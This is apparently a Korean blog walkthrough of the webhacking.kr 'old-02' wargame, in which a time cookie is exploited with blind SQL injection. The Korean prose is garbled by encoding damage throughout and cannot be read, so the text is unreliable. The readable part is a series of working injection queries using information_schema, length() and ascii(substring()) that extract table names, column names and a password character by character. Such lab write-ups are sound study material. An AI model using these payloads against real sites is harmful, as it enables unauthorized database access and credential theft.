[old -02 ๋ฌธ์ ํ์ด]
์๋ old-38๋ฒ์ด ๊ฐ์๊ธฐ ํ๊ณ ์ถ์ด์ ์๋ ํ๋๋ฐ,
๋ฒํ์ํธ๋ฅผ ์ฌ์ฉํด์ ํ๋ ค๊ณ ํ์๋ง์ (ํ๋ก์ ํค๊ณ ) ๊ตฌ๊ธ์์ ์ฐ๊ฒฐ์ฐจ๋จ? ์ด ๋์๋์ง ์๊พธ ์๋ฌ๊ฐ ๋ ์
์ผ๋จ ๋์ด๊ฐ๊ณ 2๋ฒ์ ํ์ด๋ณด๊ฒ ๋ค..;;
2๋ฒ ๋ฌธ์ ํ์ด
์ฒซ ํ์ด์ง๋ ์๋ฌด๊ฒ๋ ์๋ค...
์์ค ์ฝ๋๋ฅผ ์ดํด๋ณด์.
์.. ์์ง ๋ฌด์จ๋ง์ธ์ง ์๋ชจ๋ฅด๊ฒ ์ผ๋ ๋์ ๋ณด์ด๋ admin.php ๋ก ๊ฐ๋ณด์.
password๋ฅผ ์
๋ ฅํ๋ฉด clear๊ฐ์๋ฐ ๋์ด์์ ํํธ๋ ์์๋ค.
์์ค๋ฅผ ์ดํด๋ด๋ ๋ณ ํํธ๊ฐ ์์ด์ ์ฟ ํค๋ฅผ ํ์ธํด๋ดค๋ค.
time์ด๋ผ๋ ์ฟ ํค๊ฐ ์์ฑ๋์ด์๋ค. ๋ฌด์ธ๊ฐ ํํธ์ธ๋ฏ ํด์ 1์ ๋ฃ๊ณ ์ ์ฅ ํ ์ดํด๋ณด์๋ค.
์๋ฌด ๋ณํ๊ฐ ์์ด์ ์ ์ ์์ค ์ฝ๋๋ก ๋์๊ฐ๋ค.
์ฃผ์์ฒ๋ฆฌ ๋์ด์๋ ์๊ฐ์ ๋ณํ๊ฐ ์๊ฒผ๋ค. ๋งจ ๋ท ์๋ฆฌ๊ฐ ์
๋ ฅํ ๊ฐ 1 ๋ก ๋ณํ๋ค.
์ฟ ํค ๊ฐ์ 2๋ฅผ ๋ฃ์ด๋ดค๋ค.
2๋ก ๋ณํ๋ค.
๊ทธ๋ ๋ค๋ฉด 0์ ๋ฃ์ด๋ณด์.
๋ค ์ฌ๋ผ์ง๊ณ , ์ฟ ํค ๊ฐ๋ ์ด๊ธฐํ ๋์๋ค.
๊ฑฐ์ง ๊ฐ์ ์ฃผ์๋๋,
9 : 00 : 00 ์ด ์ถ๋ ฅ๋๋ค. --> ๊ฑฐ์ง์ ๊ฐ ์์์.
์ฐธ์ธ ๊ฒฝ์ฐ ์ฐธ์ ํด๋นํ๋ ๊ฐ์ ๋ณด์ฌ์ฃผ๊ณ , ๊ฑฐ์ง์ ๊ฒฝ์ฐ 0์ ์ค๋ค.
์์ 0์ ์
๋ ฅ์ ๋ชจ๋ ๊ฐ์ ์ด๊ธฐํ๋๋ค.
0 = ๊ฑฐ์ง --> 0์
๋ ฅ์ ๋ชจ๋ ๊ฐ์ด ์ด๊ธฐํ๋จ.
์์ฐ์ = ์ฐธ --> ์
๋ ฅ์ ์ด ๋ถ๋ถ์ด ์
๋ ฅํ ๊ฐ์ผ๋ก ๋ฐ๋.
์ด๊ฑด blind sql injection์ด๋ผ๊ณ ์์ธก ํ ์ ์์. (์ฒ์ ๋ณด๋ ์ ํ์ด๋ผ ๋ง์ด ํค๋งธ๋ค)
db์ด๋ฆ์ ๊ตณ์ด ์ง๊ธ ํ์๋ ์์ด๋ณด์ด๋, ํ
์ด๋ธ์ด ๋ช๊ฐ์ธ์ง ํ
์ด๋ธ ์๋ถํฐ ์์๋ณด์.
count๋ ์๋ก ๋ฐํํ๋ ํจ์์ด๋ฏ๋ก, ํ
์ด๋ธ์ ๊ฐฏ์๋ฅผ ์์๋ณด๋ ์ฟผ๋ฆฌ์ด๋ค.
database() ํจ์๋ ํ์ฌ db์ด๋ฆ์ ๋ถ๋ฌ์ค๋ ํจ์์ด๋ค.
information_schma ๋ mysql์ ๋ฉํ ๋ฐ์ดํ๋ก
lucete1230-cyberpolice.tistory.com/81?category=851757
์ ์๋ฃ๋ฅผ ์ฐธ๊ณ ํ๊ธธ ๋ฐ๋๋ค.
ํ
์ด๋ธ ์๋ 2๊ฐ!
๊ณ์ ์ฌ์ง์ผ๋ก ์บก์ณํ๋ฉด, ๊ธ์ด ๋๋ฌด ๊ธธ์ด์ง ๊ฒ ๊ฐ์ ์๋ ํ
์คํธ๋ก ๋์ฒํ์๋ค.
์ฐธ๊ณ ๋ก ๋งจ์๋ค () ๋ ๊ผญ ํด์ค์ผ ์ธ์ ํ ์ ์๋ค.
1๋ฒ์งธ ํ
์ด๋ธ ๊ธธ์ด ๋ง์ถ๊ธฐ :
(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)
--> ๊ธธ์ด๋ 13์ด ๋์๋ค.
## substring()ํจ์๋ ์ฒซ ์ธ๋ฑ์ค๊ฐ 1 ์ด๊ธฐ ๋๋ฌธ์ 1,1์ ํด์ฃผ๋ฉด 1๋ฒ์งธ ๊ธ์ ํ๊ฐ๊ฐ ๋ฝํ๋์จ๋ค. ##
ํ
์ด๋ธ ์ด๋ฆ ๋ง์ถ๊ธฐ :
1๋ฒ์งธ ๊ธ์ :
(select ascii(substring(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)
2๋ฒ์งธ ๊ธ์ :
(select ascii(substring(table_name,2,1)) from information_schema.tables where table_schema=database() limit 0,1)
3๋ฒ์งธ ๊ธ์ :
(select ascii(substring(table_name,3,1)) from information_schema.tables where table_schema=database() limit 0,1)
์ญ ์ด๋ ๊ฒ ๊ตฌํด๋ณด๋ฉด ๋๋ค.
13๋ฒ์งธ ๊น์ง ๋ฐ๋ณต ์์
์ ํด์ผ ํ๋ฏ๋ก, ํ์ด์ฌ์ผ๋ก ์ฝ๋๋ฅผ ์ง์ ํธ๋ ๋ฐฉ๋ฒ๋ ์ข์ ๊ฒ ๊ฐ๋ค.
์ ๋ต์ ์์๋ ค์ค๊ฒ์ด๋ค.^_^
(์ด ๋ฌธ์ ๋ ํ์ด๋ณด๋ฉด ๋์์ด ๋ง์ด ๋ ๊ฒ ๊ฐ์์ ๊ฐ์ด๋๋ฅผ ์ ์ ํ๋ ๊ฒ์ด๋, ์ค์ค๋ก ํ์ด๋ณด๋ฉด ์ข์ ๊ฒ ๊ฐ๋ค.)
์ด๋ ๊ฒ 13 ๊ธ์๋ฅผ ๋ค ์๋ฉด 2๋ฒ์งธ ํ
์ด๋ธ ๊ธธ์ด, ์ด๋ฆ๋ ๊ตฌํด๋ณด๊ณ ์ปฌ๋ผ์ด๋ฆ๋ ๋ง์ถฐ๋ณด๋ฉด ๋๋ค.
ํํธ๋ฅผ ๋๋ฆฌ์๋ฉด, ๋ค์ ํ
์ด๋ธ(2๋ฒ์งธ)์ ๊ธ์ ์๊ฐ ๋งค์ฐ ์ ์ผ๋ฉฐ,
์ ๋ต pw๋ 1๋ฒ์งธ ํ
์ด๋ธ์ ์ํ๋ค.
1๋ฒ์งธ ํ
์ด๋ธ์ ์ปฌ๋ผ์ ๊ตฌํ๋ ๋ฐฉ๋ฒ์ :
select count(column_name) from information_schema.columns where table_name={๊ตฌํ ํ
์ด๋ธ ์ด๋ฆ(13๊ธ์)}
์ด๋ ๊ฒ ์ปฌ๋ผ ์ด๋ฆ์ ๊ธ์ ์๋ฅผ ๊ตฌํ๊ณ ,
๊ธ์ ์์ ๋ง์ถฐ ์ปฌ๋ผ ์ด๋ฆ์ ์์๋ณธ๋ค.
select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name={ํ
์ด๋ธ์ด๋ฆ}
์ด๋ ๊ฒ ์ญ์ญ ๊ตฌํ๋ค๊ฐ..
์ปฌ๋ผ ์ด๋ฆ์ ๋ค ๋ง์ถ๋ค๋ฉด, ์ด์ pw๊ธธ์ด๋ฅผ ๊ตฌํ๋ฉด ๋๋ค.
select length(์ปฌ๋ผ์ด๋ฆ) from ํ
์ด๋ธ ์ด๋ฆ
(๊ตฌํ ๊ฐ์ ๋ฃ์ด์ฃผ์๋ฉด ๋ฉ๋๋ค.)
์ด๋ ๊ฒ ๊ตฌํ๋ฉด ํจ์ค์๋ ๊ธธ์ด๊ฐ ๋์ต๋๋ค.
๋ง์ง๋ง์ ํจ์ค์๋๊ฐ ๋ฌด์์ธ์ง table์ด๋ฆ์ ๊ตฌํ๋ ๋ฐฉ๋ฒ์ฒ๋ผ ๊ตฌํด์ฃผ์๋ฉด ๋์~
ํจ์ค์๋ ์์๋ด๊ธฐ :
select ascii(substring(์ปฌ๋ผ์ด๋ฆ, 1, 1)) from ํ
์ด๋ธ ์ด๋ฆ
์ด๋ ๊ฒ ๋ค ๊ตฌํ๋ฉด clear!
์๋ฃ๋ ๊ฐ์ ๋ฃ์ด์ฃผ๋ฉด
์ ๊ฐ์ ๊ฒฝ์ฐ๋ ํ์ด์ฌ์ ์ด์ฉํด์ ๊ตฌํ์ด์.
ํด์ ์ง์ ํธ์๋ ๊ฒ์ ์ถ์ฒ๋๋ฆฝ๋๋ค..์๋๋ฉด ๋
ธ๊ฐ๋ค์์ใ
ใ
ใ
์ฒจ์ ์๊พธ ์๋ฌ๋์ ๋ฐ์ด์ ์ฟผ๋ฆฌ์ง์
์ฐ๋ฉด์ ๊ตฌํ๋๋ 1์๊ฐ ๋๊ฒ ๊ฑธ๋ ค๋ฒ๋ฆฐ ๋ฌธ์ ..
ํ์ฌํผ!
Clear!
์ ๋ต ๊ณต๊ฐ โผ
๋๋ณด๊ธฐ